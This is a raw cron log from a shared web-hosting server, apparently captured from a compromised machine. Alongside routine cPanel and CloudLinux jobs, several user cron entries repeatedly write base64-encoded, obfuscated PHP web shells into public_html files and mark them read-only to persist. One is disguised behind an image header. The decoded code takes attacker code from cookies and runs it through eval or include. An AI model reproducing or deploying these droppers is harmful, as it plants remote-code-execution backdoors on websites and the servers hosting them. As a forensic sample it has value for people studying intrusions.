Jun  7 04:07:01 medusa CROND[18278]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:08:01 medusa CROND[19812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:08:01 medusa CROND[19818]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:08:01 medusa CROND[19819]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:08:01 medusa CROND[19820]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:08:01 medusa CROND[19822]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:08:01 medusa CROND[19827]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:08:01 medusa CROND[19826]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:08:01 medusa CROND[19828]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:08:01 medusa CROND[19829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:08:01 medusa CROND[19832]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 04:08:01 medusa CROND[19833]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:08:01 medusa CROND[19834]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:08:01 medusa CROND[19835]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:08:01 medusa CROND[19837]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:09:01 medusa CROND[21362]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:09:01 medusa CROND[21363]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:09:01 medusa CROND[21364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:09:01 medusa CROND[21365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:09:01 medusa CROND[21366]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:09:01 medusa CROND[21369]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:09:01 medusa CROND[21371]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 04:09:01 medusa CROND[21373]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:09:01 medusa CROND[21374]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:09:01 medusa CROND[21376]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:09:01 medusa CROND[21372]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:09:01 medusa CROND[21386]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:09:01 medusa CROND[21375]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:10:01 medusa CROND[23284]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:10:01 medusa CROND[23292]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:10:01 medusa CROND[23338]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 04:10:01 medusa CROND[23339]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 04:10:01 medusa CROND[23340]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:10:01 medusa CROND[23341]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:10:01 medusa CROND[23342]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
